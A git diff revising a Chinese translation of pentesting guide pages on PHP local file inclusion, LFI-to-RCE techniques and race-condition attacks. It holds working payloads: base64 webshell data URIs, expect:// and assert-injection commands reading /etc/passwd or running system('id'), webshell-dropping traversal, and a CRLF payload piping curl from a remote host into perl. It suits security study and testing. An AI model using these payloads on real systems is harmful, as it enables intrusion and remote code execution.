+- 使用 codec **`UCS-4LE`** 将文本的首字符保留在开头,并使字符串大小呈指数增长。
+- 这将被用来生成一个 **在首字母被正确猜出时变得非常大的文本**,以致于 php 会触发一个 **error**
+- **dechunk** filter 会在 **首字符不是十六进制时删除所有内容**,因此我们可以判断首字符是否为十六进制。
+- 这与之前的方法结合(以及根据猜测字母使用的其他 filters)将允许我们通过观察在经过足够的变换后何时使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制,dechunk 不会删除它,初始“炸弹”会使 php 报错。
+- codec **convert.iconv.UNICODE.CP930** 会将每个字母转换为后继字母(因此经过此 codec:a -> b)。这使我们能够判断首字母是否为 `a`,例如如果我们应用 6 次此 codec:a->b->c->d->e->f->g,该字母就不再是十六进制字符,因此 dechunk 不会删除它,且由于与初始“炸弹”相乘,会触发 php 错误。
+- 在开头使用像 **rot13** 这样的其它变换可以 leak 其他字符,例如 n, o, p, q, r(也可以使用其他 codecs 将其他字母移到 hex 范围)。
+- 当首字符是数字时,需要对其进行 base64 编码并 leak 前两个字母以 leak 该数字。
+- 最终的问题是如何 **leak 超过首字母的内容**。通过使用顺序内存 filters,比如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**,可以改变字符的顺序并将文本中的其他字母移到第一位。
+- 为了能够获取 **进一步的数据**,思路是用 **convert.iconv.UTF16.UTF16** 在开头 **生成 2 字节的垃圾数据**,应用 **UCS-4LE** 使其 **与接下来的 2 个字节发生枢轴(pivot)**,并 **删除数据直到垃圾数据**(这将移除初始文本的前 2 个字节)。继续这样操作直到达到想要 leak 的位。
-文章中还泄露了一个自动执行该过程的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
+文章中还提供了一个用于自动执行该操作的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
### php://fd
-This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
+这个 wrapper 允许访问进程已打开的文件描述符。可能有助于 exfiltrate 已打开文件的内容:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
-你也可以使用 **php://stdin, php://stdout and php://stderr** 来分别访问 **file descriptors 0, 1 and 2**(不确定这在攻击中如何有用)
+你也可以使用 **php://stdin, php://stdout and php://stderr** 来分别访问 **文件描述符 0、1 和 2**(不确定这在攻击中有何用处)
-### zip:// 和 rar://
+### zip:// and rar://
-上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它.\\
-为了能够滥用 rar protocol,它 **需要被特别激活**。
+上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它.\
+要想滥用 rar 协议,**必须专门启用**它。
```bash
echo "" > payload.php;
zip payload.zip payload.php;
@@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is ""
```
-请注意,此协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 的限制
+注意该协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 的限制
### expect://
-Expect 必须被启用。你可以使用这个来执行代码:
+Expect 必须被激活。你可以使用它来执行代码:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
-在 POST parameters 中指定你的 payload:
+在 POST 参数中指定你的 payload:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data ""
```
### phar://
-当 web 应用使用诸如 `include` 之类的文件加载函数时,`.phar` 文件可用于执行 PHP 代码。下面的 PHP 代码片段演示了如何创建 `.phar` 文件:
+当 Web 应用使用诸如 `include` 等函数加载文件时,可以利用 `.phar` 文件来执行 PHP 代码。下面的 PHP 代码片段演示了 `.phar` 文件的创建:
```php
stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
-在执行后,会创建一个名为 `test.phar` 的文件,该文件可能被用来利用 Local File Inclusion (LFI) 漏洞。
+执行后,会创建一个名为 `test.phar` 的文件,可能被用来利用 Local File Inclusion (LFI) 漏洞。
-如果 LFI 只进行文件读取而不执行其中的 PHP 代码(例如通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数),可以尝试利用反序列化漏洞。该漏洞与使用 `phar` 协议读取文件有关。
+如果 LFI 仅通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数执行文件读取而不执行其中的 PHP 代码,那么可以尝试利用一个与使用 `phar` 协议读取文件相关的反序列化漏洞。
-有关在 `.phar` 文件上下文中利用反序列化漏洞的详细说明,请参阅下面的文档:
+要详细了解在 .phar 文件上下文中利用反序列化漏洞,请参阅下面链接的文档:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@@ -373,32 +373,32 @@ phar-deserialization.md
### CVE-2024-2961
-可以滥用 **any arbitrary file read from PHP that supports php filters** 来获得 RCE。The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-非常简要的总结:在 PHP heap 中的 **3 byte overflow** 被用来 **alter the chain of free chunks**(特定大小),以便能够 **write anything in any address**,因此添加了一个 hook 来调用 **`system`**。\
-可以通过滥用更多 php filters 来分配特定大小的 chunks。
+可以滥用 **any arbitrary file read from PHP that supports php filters** 来获得 RCE。详细描述可以 [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
+快速总结:在 PHP heap 中滥用一个 **3 byte overflow** 来 **alter the chain of free chunks**(改变特定大小的空闲块链),以便能够 **write anything in any address**,因此添加了一个钩子来调用 **`system`**。\
+可以通过更多 php filters 分配特定大小的 chunks。
### More protocols
-查看更多可能的 [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
+查看更多可能的[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
-- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 将数据写入内存或临时文件(不确定这在 file inclusion 攻击中有何用处)
+- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定在 file inclusion 攻击中如何有用)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 访问本地文件系统
- [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问 HTTP(s) URL
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问 FTP(s) URL
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 压缩流
-- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不会返回任何可打印的内容,所以在这里并不太有用)
+- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不会返回任何可打印内容,所以在这里不太有用)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
-- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适用于读取任意文件)
+- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适合读取任意文件)
## LFI via PHP's 'assert'
-当涉及到 'assert' 函数时,PHP 中的 Local File Inclusion (LFI) 风险尤其高,因为该函数可以执行字符串中的代码。尤其当对包含目录遍历字符(例如 "..")的输入进行检查但未被正确清理时,问题就会出现。
+在 PHP 中,当涉及 'assert' 函数时,Local File Inclusion (LFI) 的风险尤其高,因为该函数可以执行字符串中的代码。如果对包含目录遍历字符(如 "..")的输入只做了检查但没有正确地清理,就尤其成问题。
-例如,PHP 代码可能会被设计成像下面这样防止目录遍历:
+例如,PHP 代码可能像下面这样设计来防止目录遍历:
```bash
assert("strpos('$file', '..') === false") or die("");
```
-虽然这旨在阻止 traversal,但它无意中创建了一个用于 code injection 的向量。为了利用这一点来读取文件内容,攻击者可以使用:
+虽然这旨在阻止目录遍历,但却无意中为代码注入创造了一个向量。要利用这一点来读取文件内容,攻击者可以使用:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@@ -406,43 +406,43 @@ assert("strpos('$file', '..') === false") or die("");
```plaintext
' and die(system("id")) or '
```
-重要的是要 **URL-encode these payloads**。
+重要:**URL-encode these payloads**。
## PHP Blind Path Traversal
> [!WARNING]
-> 该技术适用于你可以**控制**将传给**PHP 函数**的**文件路径**的情况,该函数会**访问文件**但你不会看到文件的内容(例如简单调用 **`file()`**),即内容不会被显示。
+> 该技术适用于你可以**控制**将由**PHP 函数**用于**访问文件**的**文件路径**的情况,但你无法看到该文件的内容(例如对 **`file()`** 的简单调用),且内容不会被显示。
-在 [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) 中解释了如何通过 PHP filter 滥用 blind path traversal 来 **exfiltrate the content of a file via an error oracle**。
+In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
-简而言之,该技术使用 **"UCS-4LE" encoding** 将文件内容变得非常**大**,以致于打开该文件的 **PHP function** 会触发一个**错误**。
+总结:该技术利用 **"UCS-4LE" encoding** 将文件内容变得非常**大**,以至于**打开该文件的 PHP 函数**会触发一个**error**。
-然后,为了 leak 第一个字符,使用 filter **`dechunk`**,以及其他如 **base64** 或 **rot13**。最后使用 filters **convert.iconv.UCS-4.UCS-4LE** 和 **convert.iconv.UTF16.UTF-16BE** 把其他字符放到开头并 leak 它们。
+接着,为了泄露第一个字符,使用了过滤器 **`dechunk`**,并配合诸如 **base64** 或 **rot13** 等,最后使用过滤器 **convert.iconv.UCS-4.UCS-4LE** 和 **convert.iconv.UTF16.UTF-16BE** 来将其他字符放在开头并 leak 它们。
-**可能受影响的函数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
+**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
-有关技术细节请查看上文提到的文章!
+For the technical details check the mentioned post!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
-当服务器端处理/上传文件的代码在构建目标路径时使用了用户可控的数据(例如 filename 或 URL)且未做规范化和验证,`..` 段和绝对路径就能逃离预期目录并导致任意文件写入。如果你能把 payload 放到对外暴露的 web 目录下,通常可以通过放置 webshell 获得 unauthenticated RCE。
+当服务器端用于摄取/上传文件的代码在构建目标路径时使用了用户可控的数据(例如 filename 或 URL),但没有进行规范化和校验,`..` 段和绝对路径就可能逃出预期目录并导致任意文件写入。如果你能把 payload 放到对外暴露的 web 目录下,通常通过丢弃一个 webshell 就可以获得未认证的 RCE。
-典型利用流程:
-- 识别接受 path/filename 并将内容写入磁盘的写入原语(例如消息驱动的 ingestion、XML/JSON 命令处理器、ZIP 解压器等)。
-- 确定对 web 暴露的目录。常见示例:
+Typical exploitation workflow:
+- 识别在某个 endpoint 或后台 worker 中的写入原语,该原语接受一个 path/filename 并将内容写入磁盘(例如:消息驱动的摄取、XML/JSON 命令处理器、ZIP 解压器等)。
+- 确定对外暴露的 web 目录。常见示例:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
-- 构造 traversal path,突破预期存储目录到 webroot,并写入你的 webshell 内容。
-- 访问已写入的 payload 并执行命令。
+- 构造一个遍历路径,使其从预期的存储目录跳出到 webroot,并包含你的 webshell 内容。
+- 访问被写入的 payload 并执行命令。
-注意:
-- 执行写入的易受影响服务可能监听非 HTTP 端口(例如在 TCP 4004 上的 JMF XML listener)。主 web 门户(不同端口)随后会提供你的 payload。
-- 在 Java 堆栈中,这些文件写入通常通过简单的 `File`/`Paths` 拼接实现。缺乏 canonicalisation/allow-listing 是核心缺陷。
+Notes:
+- 执行写入操作的易受攻击服务可能监听的是非 HTTP 端口(例如在 TCP 4004 上的 JMF XML 监听器)。主 web 门户(不同端口)随后会提供你的 payload。
+- 在 Java 技术栈中,这些文件写入常常通过简单的 `File`/`Paths` 字符串拼接实现。缺乏规范化/允许列表是核心缺陷。
-通用的 XML/JMF-style 示例(产品 schemas 各异 — DOCTYPE/body wrapper 对 traversal 无关紧要):
+Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@@ -466,26 +466,26 @@ in.transferTo(out);
```
-Hardening that defeats this class of bugs:
-- 解析到规范路径,并强制其为白名单基目录的子目录。
-- 拒绝包含 `..`、绝对根或驱动器字母的任何路径;优先使用生成的文件名。
-- 以低权限账户运行写入进程,并将写入目录与被服务的根目录隔离。
+硬化建议(可防止此类漏洞):
+- 将路径解析为 canonical path,并强制其为 allow-listed 基目录的子孙路径。
+- 拒绝任何包含 `..`、absolute roots 或 drive letters 的路径;优先使用生成的文件名。
+- 以低权限账户运行写入进程,并将写入目录与对外提供的根目录隔离。
## Remote File Inclusion
-Explained previously, [**follow this link**](#remote-file-inclusion).
+此前已解释,[**follow this link**](#remote-file-inclusion)。
-### Via Apache/Nginx log file
+### 通过 Apache/Nginx 日志文件
-If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **``** and include that file
+如果 Apache 或 Nginx 服务器在 include 函数中**存在 LFI 漏洞**,你可以尝试访问 **`/var/log/apache2/access.log` 或 `/var/log/nginx/access.log`**,在 **user agent** 或 **GET parameter** 中放置一个 php shell,比如 **``**,然后 include 该文件
> [!WARNING]
-> 注意,**如果你使用双引号**为 shell 而不是 **单引号**,双引号会被替换为字符串 "_**quote;**_",**PHP 会在那里抛出错误**,并且**不会执行其他任何东西**。
+> 注意 **如果你对 shell 使用双引号**而不是 **单引号**,双引号会被替换为字符串 "_**quote;**_",**PHP 将抛出错误**,并且**不会执行其他任何内容**。
>
-> 此外,确保你**正确地写入 payload**,否则每次尝试加载日志文件时 PHP 都会报错,而且你不会有第二次机会。
+> 另外,确保你**正确地编写 payload**,否则每次尝试加载日志文件时 PHP 都会出错,你将不会有第二次机会。
-This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
-Other possible log paths:
+这也可以在其他日志中完成,但**要小心,**日志中的代码可能是 URL encoded,这可能会破坏 Shell。头部 **authorisation "basic"** 包含以 Base64 编码的 "user:password",并在日志中被解码。PHPShell 可以插入到该头部中。\
+其他可能的日志路径:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@@ -499,18 +499,18 @@ Other possible log paths:
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
-### 通过 Email
+### 通过 电子邮件
-**向内部账户发送邮件** (user@localhost),邮件内容包含你的 PHP payload,例如 ``,然后尝试通过路径包含该用户的邮件,如 **`/var/mail/`** 或 **`/var/spool/mail/`**
+**发送邮件** 到一个内部账号 (user@localhost),邮件中包含你的 PHP payload,比如 ``,并尝试通过像 **`/var/mail/`** 或 **`/var/spool/mail/`** 这样的路径来 include 用户的邮件。
### 通过 /proc/*/fd/*
1. 上传大量 shells(例如:100)
-2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = PID of the process(can be brute forced),$FD = file descriptor(can be brute forced too)
+2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID(可以通过暴力猜测),$FD 是文件描述符(也可以暴力猜测)
### 通过 /proc/self/environ
-类似日志文件,将 payload 放在 User-Agent 中发送,它会被反映在 /proc/self/environ 文件中
+类似日志文件,把 payload 放在 User-Agent 中发送,它会反映到 /proc/self/environ 文件中
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: =phpinfo(); ?>
@@ -521,22 +521,22 @@ User-Agent: =phpinfo(); ?>
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
-为了保持文件可读,最好将其注入到 pictures/doc/pdf 的元数据中
+为了保持文件可读,最好将其注入到图片/doc/pdf 的元数据中
-### 通过 ZIP 文件上传
+### 通过 Zip 文件上传
-上传一个包含 PHP shell 的 ZIP 压缩包并访问:
+上传一个包含 PHP shell 的 ZIP 文件并访问:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
-### 通过 PHP sessions
+### 通过 PHP 会话
检查网站是否使用 PHP Session (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
-在 PHP 中,这些会话存储在 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 文件中
+在 PHP 中,这些 sessions 存储在 _/var/lib/php5/sess\\_\[PHPSESSID]\_ files
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@@ -545,7 +545,7 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
```
login=1&user=&pass=password&lang=en_us.php
```
-使用 LFI 包含 PHP 会话文件
+使用 LFI 包含 PHP session 文件
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
@@ -555,22 +555,22 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
### **通过** **vsftpd** _**日志**_
-FTP 服务 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在 Local File Inclusion (LFI) 漏洞且可以访问暴露的 vsftpd server 的情况下,可以考虑以下步骤:
+FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。如果存在 Local File Inclusion (LFI) 漏洞,并且可以访问暴露的 vsftpd 服务器,可以考虑以下步骤:
-1. 在登录过程中,将 PHP payload 注入 username 字段。
-2. 注入后,利用 LFI 从 _**/var/log/vsftpd.log**_ 检索 server 日志。
+1. 在登录过程中向用户名字段注入 PHP payload。
+2. 注入后,利用 LFI 来检索服务器日志,路径为 _**/var/log/vsftpd.log**_。
-### 通过 php base64 filter (using base64)
+### 通过 php base64 filter (使用 base64)
-正如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示,PHP base64 filter 会忽略 Non-base64。你可以用它来绕过文件扩展名检查:如果你提供以 ".php" 结尾的 base64,它会忽略 "." 并将 "php" 附加到 base64。示例如下:
+如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示,PHP base64 filter 会忽略非 base64 字符。你可以利用该特性绕过文件扩展名检查:如果你提供的 base64 以 ".php" 结尾,它会忽略 "." 并将 "php" 追加到 base64 的结尾。下面是一个示例 payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is ""
```
-### 通过 php filters (不需要文件)
+### 通过 php filters(不需要文件)
-这篇 [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php filters 来生成任意内容** 作为输出。这基本上意味着你可以为 include **生成任意 php 代码**,而**不需要把它写入文件**。
+这个 [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php filters to generate arbitrary content** 作为输出。这基本上意味着你可以为 include **generate arbitrary php code** 而**无需将其写入**文件。
{{#ref}}
@@ -579,16 +579,16 @@ lfi2rce-via-php-filters.md
### 通过 segmentation fault
-**上传**一个文件,该文件会被存储为 **临时** 在 `/tmp`,然后在**同一请求**中触发一个 **segmentation fault**,这样 **临时文件不会被删除**,你就可以搜索它。
+上传一个会被存储为临时文件在 `/tmp` 的文件,然后在**同一次请求**中触发一个 **segmentation fault**,这样临时文件就不会被删除,你可以去查找它。
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
-### 通过 Nginx temp file storage
+### 通过 Nginx 临时文件存储
-如果你发现了 **Local File Inclusion** 且 **Nginx** 在 PHP 前面运行,你可能可以用以下技巧获得 RCE:
+如果你发现了一个 **Local File Inclusion** 且 **Nginx** 在 PHP 前面运行,你可能能够使用以下技术获得 RCE:
{{#ref}}
@@ -597,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md
### 通过 PHP_SESSION_UPLOAD_PROGRESS
-如果你发现了 **Local File Inclusion**,即使你**没有 session** 且 `session.auto_start` 为 `Off`。如果你在 **multipart POST** 数据中提供 **`PHP_SESSION_UPLOAD_PROGRESS`**,PHP 会为你**启用 session**。你可以滥用这一点来获取 RCE:
+如果你发现了一个 **Local File Inclusion**,即使你**没有 session** 且 `session.auto_start` 为 `Off`。如果你在 multipart POST 数据中提供 `PHP_SESSION_UPLOAD_PROGRESS`,PHP 会为你**启用 session**。你可以滥用这一点来获得 RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
-### 通过 temp file uploads in Windows
+### 通过 Windows 的临时文件上传
-如果你发现了 **Local File Inclusion** 且服务器运行在 **Windows** 上,你可能会获得 RCE:
+如果你发现了一个 **Local File Inclusion** 且服务器运行在 **Windows**,你可能会得到 RCE:
{{#ref}}
@@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md
### 通过 `pearcmd.php` + URL args
-正如 [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) 所述,脚本 `/usr/local/lib/phppearcmd.php` 在 php docker 镜像中默认存在。此外,可以通过 URL 向该脚本传递参数,因为如果一个 URL 参数没有 `=`,它会被当作参数使用。另见 [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) 和 [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)。
+As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
-下面的请求会在 `/tmp/hello.php` 创建一个文件,内容为 `=phpinfo()?>`:
+The following request create a file in `/tmp/hello.php` with the content `=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
-下面滥用 CRLF vuln 来获取 RCE (来自 [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
+下面利用一个 CRLF vuln 来获取 RCE (来自 [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### 通过 phpinfo() (file_uploads = on)
-如果你发现一个 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 且 file_uploads = on 的文件,你可以获得 RCE:
+如果你发现了 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 且 file_uploads = on 的文件,你可以得到 RCE:
{{#ref}}
@@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md
### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
-如果你发现一个 **Local File Inclusion** 并且你可以 **exfiltrate** 临时文件的路径,但 **server** 正在 **checking** 要包含的文件是否有 PHP 标记,你可以尝试用这个 **Race Condition** 来 **bypass that check**:
+如果你发现了 **Local File Inclusion** 并且你**可以 exfiltrate the path** 临时文件的路径,但 **server** 正在**检查**要包含的文件是否有 PHP 标记,你可以尝试用这个 **Race Condition** 来**绕过该检查**:
{{#ref}}
@@ -648,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### 通过 eternal waiting + bruteforce
-如果你能滥用 LFI 来 **upload temporary files** 并使 **server** 让 PHP 执行 **hang**,那么你可以花数小时去 **brute force filenames during hours** 以找到临时文件:
+如果你能滥用 LFI 来 **upload temporary files** 并使服务器让 PHP 执行 **hang**,你就可以在数小时内 **brute force filenames** 来找到临时文件:
{{#ref}}
@@ -657,15 +657,15 @@ lfi2rce-via-eternal-waiting.md
### 导致 Fatal Error
-如果你包含以下任意文件 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`。(你需要包含相同的文件两次以抛出该错误)。
+如果你包含以下任意文件 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`。(你需要包含相同的那个两次以抛出该错误)。
-**我不知道这有何用途,但可能有用。**\
-_即使你导致 PHP Fatal Error,PHP 上传的临时文件也会被删除。_
+**I don't know how is this useful but it might be.**\
+_即使你导致 PHP Fatal Error,PHP 上传的临时文件也会被删除._
-## 参考资料
+## 参考
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md
index babe2b81d..ffac25228 100644
--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@@ -3,56 +3,56 @@
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
-> 为深入理解此技术,请查看原始报告 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
+> 要深入理解此技术,请查看原始报告 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
-## 增强 Race Condition 攻击
+## Enhancing Race Condition Attacks
-利用 race conditions 的主要难点是确保多个请求在同一时间被处理,而且它们的 **处理时间差异非常小——理想情况下小于 1ms**。
+利用 race conditions 的主要难点是确保多个请求在同一时间被处理,且它们的处理时间差异非常小——理想情况下小于 1ms。
-下面是一些用于同步请求的技术:
+下面列出了一些用于同步请求的技术:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
-- **HTTP/2**:支持在单个 TCP 连接上发送两个请求,从而减少网络抖动的影响。但由于服务器端差异,两次请求可能不足以稳定触发 race condition exploit。
-- **HTTP/1.1 'Last-Byte Sync'**:允许预发送 20-30 个请求的大部分内容,仅保留一个小片段,然后同时发送该片段,从而实现请求同时到达服务器。
+- **HTTP/2**: 支持在单个 TCP 连接上发送两个请求,减少网络抖动的影响。但由于服务器端差异,两个请求可能不足以实现稳定的 race condition 利用。
+- **HTTP/1.1 'Last-Byte Sync'**: 允许预发送 20-30 个请求的大部分内容,保留一个小片段,然后将这些小片段一起发送,从而实现同时到达服务器。
-**Last-Byte Sync 的准备工作包括:**
+**Preparation for Last-Byte Sync** 包括:
-1. 发送请求头和主体数据,省略最后一个字节且不结束流。
-2. 在初次发送后暂停 100ms。
-3. 禁用 TCP_NODELAY 以利用 Nagle's algorithm 对最终帧进行批量处理。
-4. 通过 ping 来预热连接。
+1. 发送 headers 和 body 数据,但不包含最后一个字节,并且不结束流。
+2. 在首次发送后暂停 100ms。
+3. 禁用 TCP_NODELAY,以利用 Nagle 的算法来批处理最后的帧。
+4. 通过 ping 预热连接。
-随后发送被保留的帧应会在单个数据包中到达,可通过 Wireshark 验证。该方法不适用于静态文件,静态文件通常不涉及 RC attacks。
+随后发送被保留的帧应该会导致它们作为单个数据包到达,可通过 Wireshark 验证。该方法不适用于静态文件,静态文件通常不涉及 RC 攻击。
-### 适应服务器架构
+### Adapting to Server Architecture
-理解目标的架构至关重要。前端服务器可能以不同方式路由请求,从而影响时序。通过无关紧要的请求进行服务器端的预热连接,可能会使请求时序更为一致。
+了解目标的架构至关重要。前端服务器可能会以不同方式路由请求,从而影响时序。通过无害请求进行预先的服务器端连接预热,可能会使请求时序趋于一致。
-#### 处理基于会话的锁定
+#### Handling Session-Based Locking
-像 PHP 的 session handler 这样的框架会按会话对请求进行序列化,可能掩盖漏洞。对每个请求使用不同的 session token 可以规避此问题。
+像 PHP 的 session handler 这样的框架会按会话对请求进行序列化,可能会掩盖漏洞。对每个请求使用不同的 session token 可以规避此问题。
-#### 克服速率或资源限制
+#### Overcoming Rate or Resource Limits
